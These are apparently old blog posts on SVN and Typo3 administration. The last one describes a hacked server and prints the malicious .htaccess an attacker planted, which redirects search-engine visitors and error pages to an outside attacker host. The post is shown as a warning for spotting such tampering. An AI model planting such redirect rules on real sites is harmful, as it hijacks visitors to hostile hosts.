SVN Errorcode 13 due to SeLinux, Could not open the requested SVN filesystem

When we recently installed SVN on CentOS, we came across the following error message:

<m:human-readable errcode=”13″>Could not open the requested SVN filesystem</m:human-readable>

This seems to be due to incorrect setting of the SeLinux content. This can be changed by the following command:

chcon -R -h -t httpd_sys_content_t /PATH_TO_REPOSITORY/

ex:

chcon -R -h -t httpd_sys_content_t /home/svnRepo

Technorati : , ,
Del.icio.us : , ,

Upgrade SVN Server to 1.6.5 on XAMPP

This is a quick help guide for all thise who would like to upgrade to latest SVN on XAMPP.

NOTE: Like with all software upgrades there could be high risk involved.
It is always better to take a backup prior to proceeding with any kind of upgrades.

We know that when a latest version of SVN is around it is time to upgrade.
If you have already customized your XAMPP it is not an easy task to upgrade XAMPP as it might waste several days of your work!

I however came up with a quick solution to this issue. SVN binaries are stored in the \xampp\apache\bin folder.
If you closely observe this folder you can find these binaries and there are also several related DLL files.

Now we know where the files are, and it is time to grab the latest SVN binaries and proceed to upgrade.

  1. Go to http://subversion.tigris.org/ and click on Windows Binaries link.

  2. Now select Tigris.org
  3. Select the “Subversion Win32 binaries for Apache 2.2.x”
  4. Extract these file to some temporary location on your PC, and you can see a lot of exe and dll files inside the bin folder!
    I noticed 40 files in SVN 1.6.5!
  5. Now it is time to back up the existing files. Stop Apache prior to backup.
  6. I used 7zip and created a zip file of entire bin folder. This saved me a lot of time in trying to find all SVN related files.
  7. Now you already have a bckup, and you can simply copy the latest SVN binaries from the temporary SVN bin folder to the xampp/apache/bin folder.
  8. Restart Apache and check if SVN is working fine now. This should work perfect.

I hope this would be useful. Please send yor comments / queries in case of any issues.

Del.icio.us : , , ,
Technorati : , , ,

Assigning a Favicon or Shortcuticon in Typo3 using Typoscript for multiple domains

Assigning a favicon is quite simple in Typo3. you can just use the following Typoscript to assign a favicon.

page.shortcutIcon = pathToFolders/favicon.ico

In case of multi-domain setup there are various ways you can achive this:

1. By adding the above code in the Typoscript Template Record of root page for each domain.

2. If same root page is used used for 2 domains we can write a conditional statement and check the domain, and change the Favicon.

[globalString = ENV:HTTP_HOST = *mydomain.com]

page.shortcutIcon = pathToFolders/favicon.ico

[global]

[globalString = ENV:HTTP_HOST = *myotherdomain.com]
page.shortcutIcon = pathToFolders/favicon2.ico

[global]

Exploit Search Engine Attack – bitrid

Recently one of my friend had his server attacked by a hacker, and they were able to modify the .htaccess file.
They had added several redirect conditions and ErrorDocument conditions.

He was really worried that AVG Antivirus was reporting the virus “Exploit Search Engine Attack – ~bitrid/” and was blocking access.
I really loved AVG Antivirus, and credit goes to their forum with a hint on some kind of redirect script.

The .htaccess had the following code which was causing this issue.
Probably if you come across any such issue it is better to look into the .htaccess files.
You might also check with the hosting company probably they may review the system security.

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http: // 1502998896/~bitrid/ [R=301,L]

ErrorDocument 401 http: //1502998896/~bitrid/
ErrorDocument 403 http: //1502998896/~bitrid/
ErrorDocument 404 http: //1502998896/~bitrid/
ErrorDocument 500 http: //1502998896/~bitrid/

I still wonder how the hacker could modify the .htaccess, and they never touched any othe files!!!
I just Hope no one else gets affected this way 😉